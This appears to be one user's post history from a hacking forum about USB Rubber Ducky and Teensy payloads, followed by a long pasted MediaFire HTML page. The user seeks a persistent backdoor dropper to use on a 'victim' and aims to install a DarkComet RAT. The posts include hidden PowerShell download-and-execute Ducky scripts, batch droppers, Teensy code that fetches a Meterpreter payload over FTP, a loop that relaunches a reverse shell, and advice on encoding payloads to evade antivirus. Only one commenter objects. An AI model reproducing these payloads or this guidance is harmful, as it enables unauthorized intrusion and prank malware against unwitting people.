Haxineer1337
-
Posts
22 -
Joined
-
Last visited
Posts posted by Haxineer1337
-
-
I think this would work: [bATCH FILE]
@echo off
:TOP
/t timeout 60
powershell Stop-Process -processname C:\reverse.exe
powershell Start-Process C:\reverse.exe
GOTO TOP
The only problem is that it kinda restarts the program even if it running. I imagine that being able to not restart if it's already on would be pretty difficult. If you have access with netcat to their computer, I think you would be able to move this file to the startup folder.[sAVE IT AS A .BAT file.] -
OK, Thanks for clearing that up about the Bind Shell, however that still doesn't really help me with my problem of recoding the reverse shell to make it a bind shell. Help is still needed! Please Help Me!
I am going to try to make a powershell script to do so. It might be a day or two.
-
there should be plenty of pre-made ducky-scripts that would suit your need?
Yes, but I need help making the actual backdoor..
-
[Help]
I need a backdoor dropper for the ducky, or help on making one.
What it needs to do:
Work on windows (victim)
Work over the internet
Be sort-of fast (like, not typing out stuff forever)Persistent (Across reboots)
I can use LINUX, BACKTRACK, WINDOWS, or any other
linux distro, like KALI.
I can also upload an exe to mediafire for wget and execute
(I don't need help with that).
I just need help making the file and or ducky script.
-Thanks in advance.
-
Well, the machines I've tested on (powershell in windows, and wget in linux) both just downloaded a web page. What version of windows did you test on? Can you post a screenshot of the download being successful? As in the powershell command (without the hidden window style bit) and then 'type' the bat file?
@echo off powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://download1505.mediafire.com/uqxpahdvmi5g/iqgb5774sqcyu7c/updater.vbs','C:\updater.vbs') powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://download1647.mediafire.com/dhhclv61cblg/gjnalpa67hvpb43/update.bat','C:\update.bat') powershell -windowstyle hidden Start-Process "C:\updater.vbs"This is what the initial bat file is when you download it through mediafire.Ok. I will provide screenshots soon.
-
Sorry about the preschool remark. I know media fire doesn't allow direct links. I got it by right clicking the download button, selecting inspect element, and finding the link that the button lead you to. I've tested it on another computer and it's worked.
-
By all means, demonstrate to a person or corporation the risks posed by physical security, but what you're proposing is just causing unnecessary harm and wasting the time of other people. Dunno about you, but I see hacking as way of furthering my own understanding and fixing holes in security - not deliberately using my own knowledge to harm or annoy others.
Also, you obviously haven't tested your script - the download points to mediafire. Try wgetting that, all you get is a html page..
I understand where you're coming from, and there's nothing wrong with payloads that download and run scripts. Its what the script does that's the problem. Changing someones wallpaper or planting a backdoor isn't anything like causing popups every minute - and they're persistent after reboot..
@xcell You obviously haven't tested it either [or been to preschool for that matter], because that, my friend, is a direct download link. It has been fully tested and works 100%. Good day, sir.
PS: Do you really think that pop ups are more dangerous than a backdoor? Back doors let you take full control of their computer. You can delete files, use their webcam, open 100s of web pages, etc.. That interrupts their work flow even more than a pop up powershell that's easy to get rid of.
-
This is just malicious and all it would do is take up some poor admins time to fix it.
Spreading across a network just exacerbates the problem.
Teach people about physical security by demontration, not causing harm to them or interrupting their work flow - that doesn't help anyone.
Then what's the point of having a ducky if you are using it for "demonstration"? I payed 50 dollars for something that makes me laugh, not "demonstrate".
-
[Told you it was coming soon...]
[bROKEN AS OF NOW, MEDIAFIRE HATES ME]
TROLL FACE VIRUS PAYLOAD:
[What it does]:
Runs powershell to wget and execute a bat file that wgets and executes the requirements
[HIDDEN]
Every 60 seconds it loads up your browser if not already opened and opens a troll face.
The only way to remove it is to go to task manager and end cmd.exe and timeout.exe.
Works on windows 7, replace CONTROL ESCAPE with GUI r for it to work with
windows 8 and 7.
Working on startup persistence
SCRIPT:
DELAY 20000
CONTROL ESCAPE
DELAY 1100
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://download1585.mediafire.com/3j2upgu7avbg/8runbhhu8fjrjah/Runner1.bat','C:\windowstp.bat'); Start-Process "C:\windowstp.bat"
ENTER -
That was the problem. It works now, thanks.
-
OK. When you are downloading your .exe file from mediafire, you always have to click the big "DOWNLOAD NOW" Button. Right Click on that button, and click "Copy Link Address" (Chrome has this, not sure about other browsers, although they will have some alternative.)
Copy and paste this URL into your downloader script and it should work.
The reason that you have to do this is that the page where you upload the file is where you are supposed to go and actually view the nice glitzy looking webpage, not the acutal file which would be viewed in a text-based most likely apache webserver layout. By specifying the direct URL, you are actually giving the exact address of your file that you wish to download.
Sorry if my explanation isn't that clear. Just give it a go and message me when you have tried it.
Thanks for all the help. I will try today at about 4 and tell you if it works.
-
Never really messed with powershell. But I did make this for the old Teensy ducky way back when.
/* Meterpreter FTP Download & Run By: Mr-Protocol */ int Pwned = 0; int ledPin = 11; void setup() { //initialize the digital pin as an ouput. pinMode(ledPin, OUTPUT); } void loop() { delay(20000); if (Pwned == 0) { digitalWrite(ledPin, HIGH); //set LED on CommandAtRunBar("cmd"); delay(500); Keyboard.print("cd C:\\Users\\Public\\Documents"); PressAndRelease(KEY_ENTER,1); delay(50); Keyboard.print("del payload.txt"); PressAndRelease(KEY_ENTER,1); //removes payload if it exists. Keyboard.print("ftp"); PressAndRelease(KEY_ENTER,1); Keyboard.print("open ftp.server.ip port"); PressAndRelease(KEY_ENTER,1); delay(500); Keyboard.print("rubberducky"); //username for ftp PressAndRelease(KEY_ENTER,1); delay(50); Keyboard.print("USBHACKS"); //password for ftp PressAndRelease(KEY_ENTER,1); Keyboard.print("get payload.txt"); //Modify to meterpreter payload PressAndRelease(KEY_ENTER,1); delay(8000); //time for download estimated. Keyboard.print("quit"); //exit ftp client PressAndRelease(KEY_ENTER,1); Keyboard.print("notepad.exe payload.txt"); PressAndRelease(KEY_ENTER,1); Keyboard.print("exit"); PressAndRelease(KEY_ENTER,1); Pwned = 1; } digitalWrite(ledPin, LOW); //set LED off } void CommandAtRunBar(char *SomeCommand) { Keyboard.set_modifier(128); //Windows key Keyboard.set_key1(KEY_R); // use r key Keyboard.send_now(); // send strokes Keyboard.set_modifier(0); //prep release of control keys Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times. Keyboard.send_now(); //Send the key changes delay(500); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void PressAndRelease(int KeyCode,int KeyCount) { int KeyCounter=0; for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++) { Keyboard.set_key1(KeyCode); // use r key Keyboard.send_now(); // send strokes Keyboard.set_key1(0); Keyboard.send_now(); // send strokes } }I modified some of the code. This is for example purposes.Thanks for the example. Can someone help with the downloader problem? Thanks protocol
-
I do not have the current gen ducky, so nope, sorry.
Thanks. Do you know powershell?
-
Please dont post large blocks of stuff without spoiler tags. I saw you tried but you use [] instead of <> for proper spoiler tags.
[spoiler] [/spoiler]
Thanks, can you shed some light on this problem?
-
Have you seen this project? It costs money but there is a free trial for 21 days.
The payload it uses (beacon) has a lot of functionality as well as the ability to stage itself over HTTPS or DNS (uses txt records so more data can be sent at once).
If you really want to use meterpreter have you tried using a reverse_https meterpreter? That would look like normal https traffic to most firewalls.
If you are deploying on any machines with antivirus installed you should really be encoding your payloads. I recommend using multiple iterations of different encoding. Then you can set the "CUSTOME_EXE" variable and use that. shikata_ga_nai is one of the best I know of available because of the fact that it is polymorphic.
Most AV vendors have become pretty adept at recognizing meterpreter because it is used so much, even when it is encoded. You should see this project on github because it is less well known and works pretty well.
What exactly are you trying to do where you need meterpreter? If beacon isn't a good alternative I could help you find one.
Thanks for the reply.
If you look at my other topic, I was going to upload a DarkComet RAT to the system. I tested the powershell wget and execute with a text file, (UPLOADED TO MEDIAFIRE), and thought it worked. IT DID NOT. THE TEXT FILE SEEMS TO BE IN SOME SORT OF HTML FORMAT. That means that was why the exe file was corrupted and not downloading. So it seems I must abandon this topic, as I do not require meterpreter any more. If you can shine some light on my other topic, I would be very grateful. Thanks for the initial reply.
-
OK. Else you could try and transfer the file via NetCat or some other program. You could probably write your own application simply to get the program through a wget like download and execute. Use some simple scripting language like VBScript or Batch. It is really simple to use and I think you might be able to pick it up really quickly.
Ok. I just found out that it never worked. Here's what the text file said:
IT DID NOT DOWNLOAD THE FILE. IT DOWNLOADED THE WEBPAGE. Can someone please help me make a script that actually downloads the file instead of the webpage?! Thanks! Thanks, MB
</spoiler> <!DOCTYPE html> <html lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>Ducky</title> <META NAME="keywords" CONTENT="online storage, free storage, cloud Storage, collaboration, backup file Sharing, share Files, photo backup, photo sharing, ftp replacement, cross platform, remote access, mobile access, send large files, recover files, file versioning, undelete, Windows, PC, Mac, OS X, Linux, iPhone, iPad, Android"/> <META NAME="description" CONTENT="MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere."/> <META NAME="ROBOTS" CONTENT="NOINDEX,FOLLOW"/> <META NAME="GOOGLEBOT" CONTENT="NOINDEX,FOLLOW"/> <META NAME="SLURP" CONTENT="NOINDEX,FOLLOW"/> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-check=0"/> <meta http-equiv="Pragma" content="no-cache"/> <meta http-equiv="Expires" content="0"/> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/> <meta property="og:image" content="" /><meta property="twitter:image" content="" /> <meta property="og:title" content="Ducky.txt" /> <meta property="twitter:title" content="Ducky.txt" /> <meta property="og:description" content="MediaFire is a simple to use free service for that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere." /> <meta property="twitter:description" content="MediaFire is a simple to use free service for that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere." /> <meta property="og:type" content="website"/> <meta property="og:site_name" content="MediaFire"/> <meta property="og:url" content="http://www.mediafire.com/view/8vzt89wef1qnr3n/Ducky.txt"/> <meta property="fb:app_id" content="124578887583575"/> <meta name="apple-itunes-app" content="app-id=555646196"/> <link href="https://cdnssl.mediafire.com/css/mfv3_107763.php?ver=nonssl" rel="stylesheet" type="text/css"/> <link href="https://cdnssl.mediafire.com/css/mfv4_107763.php?ver=nonssl&date=2014-01-13" rel="stylesheet" type="text/css"/> <link href="https://cdnssl.mediafire.com/css/fileview.css_107763.php?ver=nonssl" rel="stylesheet" type="text/css" /> <link href='https://fonts.googleapis.com/css?family=Open+Sans:800,700,400,300' rel='stylesheet' type='text/css'/> <!--[if lte IE 8]> <link rel="stylesheet" type="text/css" href="https://cdnssl.mediafire.com/css/ie_107763.css?ver=nonssl"/> <![endif]--> <!--[if lt IE 7]> <link rel="stylesheet" type="text/css" href="https://cdnssl.mediafire.com/css/ie6_107763.css?ver=nonssl"/> <![endif]--> <!--[if IE 7]> <link rel="stylesheet" type="text/css" href="https://cdnssl.mediafire.com/css/ie7_107763.css?ver=nonssl"/> <![endif]--> <link rel="SHORTCUT ICON" href="/favicon.ico"/> <script type="text/javascript">var acK= true;var aCH='live';var aWJ= false;function asO(e,qv){var vU=qv+': ';if(e.name){vU+='Error name: "'+e.name+'" ';}if(e.message){vU+='Error message: "'+e.message+'" ';}Ku(5,vU);};var Iu='Simple File Sharing and Storage'; </script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.js"></script> <script language="JavaScript" type="text/JavaScript">try{if(typeof jQuery=="undefined"){document.write('<scri'+'pt type="text/javascript" src="https://cdnssl.mediafire.com/js/jquery/1.7.2/jquery.js"></sc'+'ript>');}}catch(e){asO(e,'HDR:jquery_check');} </script> <style type="text/css"> #statusmessage{position:fixed;top:200px;} </style> <script type="text/javascript">var JS_LoadTime= 107763;window.onload=function(){Cy();}; </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-829541-1']); _gaq.push(['_setCustomVar',1,'UserType','free']); _gaq.push(['_trackPageview']); try{ (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); }catch(e){ LogDlError(e, 'HDR:google_analytics'); } </script> <script type="text/javascript">var MYF_WIDGET_STORAGE_totalStorage= 10737418240;MYF_WIDGET_STORAGE_usedStorage= 0;MYF_WIDGET_STORAGE_usedStoragePercent=Math.round(Math.min(parseFloat(MYF_WIDGET_STORAGE_usedStorage/MYF_WIDGET_STORAGE_totalStorage),1)*100),aXq= false,aXm= false,aWh="",aXE= 0,aWx= false,aXd='4.50',window.addEventListener('onload',function(){aXa();}); </script> </head> <body class="filePreview documentPreview liquidLayout time-to-upgrade freeAccount darkTheme"> <div id="statusmessage" name="statusmessage" style="display:none;"> <div style="width:600px;margin:auto;padding:10px;opacity:0.95;"> <div class="statusmessage_wrapper" style="padding:20px;text-align:center;"> <div id="statusmessage_text" name="statusmessage_text"></div> <div id="dismiss_message_div"> Click to dismiss this message </div> </div> </div> </div> <div id="modal_window_popup" style="display:none" class="popup"> <a href='#' OnClick="bfM('modal_window_popup');return false;" id="modal_window_closer" class="popup-close"></a> <div class="modalMsgWrapper" style=""> <iframe name="modal_msg_iframe" id="modal_msg_iframe" src="https://cdnssl.mediafire.com/blank.html" scrolling="no" frameborder="0" allowTransparency="true"></iframe> </div> </div> <div id="notify_main" class="msg_default msg_size1" style="display:none;" onclick="Qv(event);" onmouseover="if(!NH&& !NB)OI(4);NH=true;" onmouseout="NH=false;"> <div class="notify_msgwrapper"> <p> <span id="notify_msgtitle_min" class="notify_msgtitle_min">100 Recent Messages</span> <span id="notify_msgtitle" class="notify_msgtitle">Message title goes here</span> <span id="notify_msgbody" class="notify_msgbody">Short paragraph explaining the nature of the message goes here.</span> </p> </div> <div id="notify_msgscroll" class="notify_msgscroll"> <a class="msgscroll_up" href="#" onclick="Pf();return false;"></a> <a class="msgscroll_dn" href="#" onclick="Pe();return false;"></a> <p id="notify_msgnumber" class="msgnumber"></p> </div> </div> <div class="upgrade_your_browser"> <div class="wrap"> It appears you are using an older browser. For a better experience when using MediaFire, we recommend you <a href="#" style="color:#fff;text-decoration:underline;cursor:pointer;" onclick="LoadIframeLightbox('/dynamic/template_popup.php?page=upgrade_browser',680,300);return false;">upgrade your browser</a>. </div> </div> <div id="container" class=" nonOwner "> <div id="helpContainer" class="floatingTabsBox"> <form id="" class="helpForm open" action="" style=""> <div id="tabHelp" class="floatingTab"> <div>Help</div> <span class="indicator-left"></span> </div> <p>Questions? <a href="/help/submit_a_ticket.php" target="_blank">Submit a ticket</a> or <a href="/help/" target="_blank">visit our Help Center</a>.</p> <p class="additionalHelpLinks">Additional help links: <a href="/help/submit_a_ticket.php" target="_blank">Contact Us</a> <a href="/help/help_with_web.php" target="_blank">Help with Web</a> <a href="/help/help_with_mobile.php" target="_blank">Help with Mobile</a> <a href="/help/help_with_desktop.php" target="_blank">Help with Desktop</a> </p> <span>Call us at 1-877-688-0068 to speak to a live representative.</span> <div class="mfFooterSupport"> YOUR SUPPORT CODE: <div id="helpCode" class="help_code_target"></div> </div> <div class="expandHelpClose" onClick="$('#helpContainer').removeClass('expandHelp');"><span class="indicator-down"></span>CLOSE</div> </form> </div> <div id="content_container"> <a name="top"></a> <textarea id="holdtext" style="display:none"></textarea> <div id="header"> <h2 class="logo cf"> <a href="/" target="_top">MediaFire</a> </h2> <div id="logged_in_info" class="login_inprogress"> <div class="dropdown dropdownOnClick ddRight cf"> <a id="loggedin" class="gbtnPrimary prelogin" title="Logged in as "> <span class="smArrowDown"></span> <span id="avatar-icon" class="arrow_tab"> <span><img src="http://www.mediafire.com/images/icons/myfiles/default.png" style="width: 32px; height: 32px" onerror="this.style.display='none';" /></span> </span> </a> <ul id="loggedin_dropdown"> <li class="ddStaticTxt"> </li> <li class="ddStaticTxt"><div></div></li> <li class="ddStaticTxt"> </li> <li> <a href="https://www.mediafire.com/view/8vzt89wef1qnr3n/Ducky.txt?ssl=on" title="Turn Secure Encryption On"> SSL <div class="toggle-switch tsSmall"> <div class="ts-slider"> <label class="ts-l">On</label> <div class="ts-knob"></div> <label class="ts-r">Off</label> </div> </div> </a> </li> <li> <span class="notificationBubble" style="display:block;">!</span> <a href="javascript:void(0);" style="color:#D85724!important;" OnClick="LoadIframeLightbox('/dynamic/template_popup.php?page=email_validation_lightbox',720,450,false,false,true);">Verify Email</a> </li> <li class="divider"></li> <li><a href="/" class="ico30folder">My Files</a></li> <li><a href="/#settings" class="ico30settings">Settings</a></li> <li><a href="/upgrade/" class="ico30upgrade">Upgrade</a></li> <li><a href="/earnspace/" class="ico30add">Earn free space!</a></li> <li><a href="#" onclick="LoadIframeLightbox('/templates/upgrade/statistics.html', 720, 390); return false;" class="ico30chart">View Statistics</a></li> <li><a href="/software/" class="ico30mobile">Desktop & Mobile</a></li> <li><a href="#" class="ico30logout" OnClick="dO();return false;" style="margin-bottom:5px;">Log Out</a></li> </ul> </div> <div id="notloggedin_wrapper" class="hide"> <div id="notloggedin" class="prelogin"> <ul id="login_signup"> <li class="signup_button"><a href="#" class="gbtnTertiary leftBtn">Sign Up</a></li> <li id="loginTabWrap" class="gbtnTertiary rightBtn"> <div id="headerlogin_tab" class="">Log In<span class="logintab_overlay">Log In</span></div> <div class="loginActivateTW"></div> <div class="loginActivateFB"></div> </li> </ul> </div> </div> </div> <ul class="nav"> <div class="gbtnPrimary ico30help" title="Click for help" onClick="$('.floatingTab').click();fRequestHelpCode();">Help</div> </ul> <div id="main_login" name="main_login" class="main_login"> <div class="tabs"> <ul class="cf"> <li id="login_tab_mediafire" onclick="if(UserLogin==0)vQ(1);return false;" title="MediaFire Login" class="current" ><div></div></li> <li id="login_tab_facebook" href="javascript:void(0);" onclick="if(!wM)vQ(2);return false;" title="Login Using Facebook" ><div></div></li> <li id="login_tab_twitter" href="javascript:void(0);" onclick="if(!wL)vQ(3);return false;" title="Login Using Twitter" ><div></div></li> <li id="login_close" href="javascript:void(0);" class="close" onclick="akT();"></li> </ul> <div id="socialnetworks_support" class="login_hide"> <div class="login_social_inner"> <h2 class="soc_heading">Powerful for business. Simple for everyone.</h2> </div> </div> <div id="login_mediafire"> <div style="display:none;;padding:82px 0;" id="login_spinner"> <div style="text-align:center"> <p style="margin:20px"><img src="https://cdnssl.mediafire.com/images/icons/ajax-loader-grey_round.gif"></p> <p>Logging in…</p> </div> </div> <div id="login_form"> <p class="soc_error" style="display:none;margin:10px 20px 10px 0;padding:5px;" id="login_penalty_message"></p> <form name="form_login1" id="form_login1" method="post" action="/dynamic/client_login/mediafire.php&use_doc_domain=true" target="userwork"> <fieldset> <label>Your Email Address:</label> <input type="text" name="login_email" id="login_email"/> <label>Password:</label> <input type="password" name="login_pass" id="login_pass" autocomplete="off" maxlength="30"/> <a href="/lost_password.php" class="forgot-pwd">Forgot your password?</a> <input type="checkbox" name="login_remember" id="login_remember" checked/><p id="login_remember_p">Remember me on this computer</p> <input id="submit_login" type="submit" name="submit_login" value="Log in to MediaFire" class="gbtnTertiary"/> <div id="login_secure_header_link"> <a href="https://www.mediafire.com/ssl_login.php?type=login" id="login_ssl_btn" class="gbtnPrimary ico30lock">Log in using SSL encryption</a> </div> </fieldset> </form> </div> </div> <div id="login_facebook" class="login_hide"> <div class="login_social_inner"> <p class="soc_heading">Use your Facebook account to<br/>log in to MediaFire.</p> <div class="soc_login_block"> <div style="display:none;"><input id="facebook_app_id" type="hidden" value="124578887583575"/></div> <div id="facebook_login_0"> <div style="text-align:center;"> <p style="margin:20px 20px 0;"> <img src="https://cdnssl.mediafire.com/images/icons/ajax-loader-grey_round.gif"> </p> <p> Please wait… </p> </div> </div> <div style="display:none;" id="facebook_login_1"> <div style="text-align:center;margin:8px 0 0 0;"> <a href="#" onclick="javascript:mI=yF('facebook',function(){wP(1);});vZ('email');return false;"><img src="https://cdnssl.mediafire.com/images/buttons/btn_facebook_connect.png"></a> </div> <div class="headerSocialButton"> <span>Like us on Facebook:</span> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2FMediaFire&send=false&layout=button_count&width=180&show_faces=false&action=like&colorscheme=light&font&height=80" scrolling="no" frameborder="0" allowTransparency="true"></iframe> </div> <div class="soc_perms_option" style="display:none;"> <span class="soc_options_heading">Options:</span> <div style="border-bottom:1px solid #D7D9DB;"> <input type="checkbox" name="fb_email_allow" id="fb_email_allow" checked="checked"/> <p>Enable MediaFire to get my email address from Facebook. (recommended)</p> </div> <div> <input type="checkbox" name="fb_publish_stream_allow" id="fb_publish_stream_allow" checked="checked"/> <p>Allow me to post to my Facebook Wall from MediaFire.</p> </div> </div> </div> <div style="display:none;" id="facebook_login_2"> <div style="text-align:center"> <p style="margin:20px 20px 0;"> <img src="https://cdnssl.mediafire.com/images/icons/ajax-loader-grey_round.gif"> </p> <p>Logging in…</p> <a href="#" class="btn secondary" style="margin-top:20px;">Cancel</a> </div> </div> <div style="display:none;" id="facebook_login_3"> <p class="soc_error" style="display:none;" id="fb_error_step3"></p> <form action="/dynamic/client_login/facebook.php" target="userwork" method="POST" onsubmit="wP(2);return true;"> <p class="soc_display_email" id="fb_step3_email"></p> <label>Password:</label> <input type="password" autocomplete="off" name="mf_password" id="mf_password"/> <a href="/lost_password.php" class="forgot-pwd">Forgot your password?</a> <div> <input type="submit" value="Connect" style="margin-top:10px;margin-bottom:20px;" class="gbtnTertiary"/> </div> </form> </div> <div style="display:none;" id="facebook_login_4"> <div class="soc_toggler"> <a href="#" class="use_fbemail_active inset-box">Use My Facebook Email</a> <a href="#" onclick="wP(5);return false;" class="use_mfemail_inactive secondary-btn">Link Using MediaFire Account</a> </div> <div id="create_new_mf"> <p class="soc_error" style="display:none;" id="fb_error_step4">This gets filled if something bad happened.</p> <form action="/dynamic/client_login/facebook.php" target="userwork" method="POST" id="use_fb_email_form" onsubmit="wP(2);return true;"> <label>Password:</label> <input type="password" autocomplete="off" name="use_fb_email_pass" id="use_fb_email_pass"/> <label>Confirm Password:</label> <input type="password" autocomplete="off" name="use_fb_email_pass2" id="use_fb_email_pass2"/> <div> <input type="submit" value="Use Facebook Email" style="margin-top:20px;margin-bottom:20px;" class="gbtnTertiary"/> </div> </form> </div> </div> <div style="display:none;" id="facebook_login_5"> <div class="soc_toggler"> <a href="#" onclick="wP(4);return false;" class="use_fbemail_inactive secondary-btn">Use My Facebook Email</a> <a href="#" class="use_mfemail_active inset-box">Link Using MediaFire Account</a> </div> <div id="link_another_mf"> <p class="soc_error" style="display:none;" id="fb_error_step5"></p> <form action="/dynamic/client_login/facebook.php" target="userwork" method="POST" id="link_mf_acct_form" onsubmit="wP(2);return true;"> <label>Your MediaFire Email:</label> <input type="text" name="mf2_email" id="mf2_email"> <label>MediaFire Password:</label> <input type="password" autocomplete="off" name="mf2_password" id="mf2_password"> <a href="/lost_password.php" class="forgot-pwd">Forgot your password?</a> <div> <input type="submit" value="Connect" style="margin-top:6px;margin-bottom:20px;" class="gbtnTertiary"/> </div> </form> </div> </div> <div style="display:none;" id="facebook_login_6"> <p class="soc_p_center">You are logged in with Facebook,<br/>but you did not allow your email.</p> <p class="soc_p_center"><a href="#" onclick="javascript:vZ('email')"><img src="https://cdnssl.mediafire.com/images/buttons/btn_facebook_allowemail.png"></a></p> <p class="soc_p_center">or</p> <a href="/register.php" id="btn_fb_create_mfaccount" class="primary-btn">Create MediaFire Account</a> </div> <div style="display:none;"> <form action="/dynamic/client_login/facebook.php" target="userwork" method="POST" id="facebook_login_form" name="facebook_login_form" style="margin:0px;"> <input type="hidden" name="fb_login_action" id="fb_login_action"/> <input type="hidden" name="fb_login_data1" id="fb_login_data1"/> <input type="hidden" name="fb_login_data2" id="fb_login_data2"/> </form> </div> </div> </div> </div> <div id="login_twitter" class="login_hide"> <div class="login_social_inner"> <p class="soc_heading">Use your Twitter account to<br/>login to MediaFire.</p> <div class="soc_login_block"> <div id="twitter_login_0"> <div style="text-align:center"> <p style="margin:20px"> <img src="https://cdnssl.mediafire.com/images/icons/ajax-loader-grey_round.gif"> </p> <p> Please Wait… </p> </div> </div> <div style="display:none;" id="twitter_login_1"> <div class="twitter_login_gfx"> <a href="#" onclick="mI=yF('twitter',function(){wX(1);});wI();wX(2);return false;" id="twitter_login_url"><img src="https://cdnssl.mediafire.com/images/buttons/btn_twitter_connect.png" alt="Sign in with Twitter"/></a> </div> <div class="headerSocialButton"> </div> </div> <div style="display:none;" id="twitter_login_2"> <div style="text-align:center"> <p style="margin:20px"> <img src="https://cdnssl.mediafire.com/images/icons/ajax-loader-grey_round.gif"> </p> <p> Logging in… </p> </div> </div> <div style="display:none;" id="twitter_login_3"> <div class="soc_toggler"> <a href="#" class="use_twemail_active inset-box">Use Twitter Email</a> <a href="#" onclick="wX(4);return false;" class="use_mfemail_inactive secondary-btn">Use MediaFire Email</a> </div> <div id="create_new_tw"> <p class="soc_error" style="display:none;" id="tw_error_step3"></p> <form action="/dynamic/client_login/twitter.php" target="userwork" method="POST" onsubmit="wP(2);return true;"> <label>Twitter Email:</label> <input type="text" name="use_tw_email" id="use_tw_email" value=""/> <label>New password:</label> <input type="password" autocomplete="off" name="use_tw_email_pass" id="use_tw_email_pass"/> <label>Confirm Password:</label> <input type="password" autocomplete="off" name="use_tw_email_pass2" id="use_tw_email_pass2"/> <div> <input type="submit" value="Use Twitter Email" style="margin-top:20px;margin-bottom:20px;" class="gbtnTertiary"/> </div> </form> </div> </div> <div style="display:none;" id="twitter_login_4"> <div class="soc_toggler"> <a href="#" onclick="wX(3);return false;" class="use_twemail_inactive secondary-btn">Use Twitter Email</a> <a href="#" class="use_mfemail_active inset-box">Use MediaFire Email</a> </div> <div id="link_another_tw"> <p class="soc_error" style="display:none;" id="tw_error_step4"></p> <form action="/dynamic/client_login/twitter.php" target="userwork" method="POST" onsubmit="wP(2);return true;"> <label>Your MediaFire Email:</label> <input type="text" name="mf2_email" id="mf2_email" value=""/> <label>MediaFire Password:</label> <input type="password" autocomplete="off" name="mf2_password" id="mf2_password"/> <a href="/lost_password.php" class="forgot-pwd">Forgot your password?</a> <div> <input id="btn_fb_authenticate" type="submit" value="Connect" style="margin-top:10px;margin-bottom:20px;" class="gbtnTertiary"/> </div> </form> </div> </div> <div style="display:none;"> <form action="/dynamic/client_login/twitter.php" target="userwork" method="POST" id="twitter_login_form" name="twitter_login_form" style="margin:0px;"> <input type="hidden" name="tw_login_action" id="tw_login_action"/> <input type="hidden" name="tw_login_data1" id="tw_login_data1"/> <input type="hidden" name="tw_login_data2" id="tw_login_data2"/> </form> </div> </div> </div> </div> </div> </div> <div class="searchLogo"><span class="searachLogoFlame"></span>Search</div> <a class="gbtnSecondary upgrade_acct" href="/dynamic/ct.php?link=flex_head_up_btn&url=/upgrade/" title="Upgrade Now!" style="margin-top:17px;">Upgrade</a> <a class="gbtnSecondary upgrade_discount" href="/dynamic/ct.php?link=flex_head_up_btn50&url=/upgrade/" style="margin-top:17px;">50% OFF!<span class="tooltip point-up alt">50% off of Pro and Business. Upgrade now!</span></a> <div id="headerControlsMyFiles" class="headerControls"> <div class="filenameShare"> <div id="fileDetails"> <div class="title"> <a href="/" class="customLogoShared"><img src=""/></a> <span id="folder_name" title=""></span> <span id="folder_author" title="shared by "sparkydude2""> shared by "sparkydude2"</span> </div> </div> </div> <div class="headerControlsBtns hcMain"> <div id="uploadMenu" class="dropdown dropdownOnClick" style="float:left;"> <a href="javascript:void(0);" class="gbtnTertiary ico30upload" title="Upload Files"><span>UPLOAD</span></a> <ul class="dropdown"> <li id="upload_to_current_folder"> <a href="javascript:void(0);" class="show_uploader"> <span class="addMenu aMcomp"></span>From computer </a> <span class="shortcut_key"> U <span class="tooltip alt point-left">Press U on your keyboard to upload files.</span> </span> </li> <li><a id="upload_from_web"><span class="addMenu aMweb"></span>From the web</a></li> </ul> </div> <a id="new_folder_trigger" href="javascript:void(0);" class="folder_mainaction gbtnTertiary ico30addFolder" style="float:left;" title="Create Folders (You can also press the [N] key on your keyboard.)"></a> <div id="createMenu" data-command="text_file" class="gbtnTertiary ico30addFile" title="Create a Text File"></div> </div> <div class="headerTrashBtns"> <a id="trash_restoreAll" href="javascript:void(0);" class="gbtnPrimary ico30rotateCCW" title="Restore all files"><span>Restore All</span></a> <a id="trash_deleteAll" href="javascript:void(0);" class="gbtnTertiary ico30trash" title="Delete all files"><span>Empty</span></a> </div> <div class="headerControlsBtns"> <div class="cf" style="width:97px;height:1px;"> <div class="gbtnPrimary ico30thumbnail rightBtn" id="viewtab2" title="Thumbnail" style="width:30px;"></div> <div class="gbtnPrimary ico30list leftBtn changeview_active" id="viewtab1" title="List" style="width:30px;"></div> </div> <div id="shareMenu" class="" style="float:right"> <a id="current_folder_download" class="gbtnSecondary ico30download" data-command="download-folder" title="Download Folder"></a> <a id="current_folder_share" class="gbtnTertiary ico30share" data-command="share-folder" title="Share Folder"></a> <a id="addfolder_to_account" class="gbtnTertiary ico30saveToAccount" data-command="add-folder" title="Follow Folder">Follow</a> </div> <span class="clearSearch" name="search_delete_button1" id="search_delete_button1"> <img title="Clear search" alt="Clear search" src="/images/backgrounds/newMyfiles/exitSearch.png"> </span> <div class="searchWrap"> <div class="searchField"> <a class="gbtnPrimary ico30search" title="Search" href="#"></a> <div id="searchProgress" class="hide"></div> <input id="search-text" type="text" value="" placeholder="Search" style="float:right;"> <span class="indicator-down"></span> <div id="myfiles_filtercontrol" class="ddRight dropdown dropdownOnClick filterAll" style="float:left;"> <a id="currentFilterlink">All Types</a> <ul class="dropdown"> <li data-command="all">All Types</li> <li data-command="folders">Folders only</li> <li data-command="files">Files only</li> <li data-command="image">Images</li> <li data-command="video">Video</li> <li data-command="audio">Audio</li> <li data-command="document">Documents</li> <li data-command="spreadsheet">Spreadsheets</li> <li data-command="presentation">Presentations</li> <li data-command="development">Development</li> <li data-command="public">Public Items</li> <li data-command="private">Private Items</li> 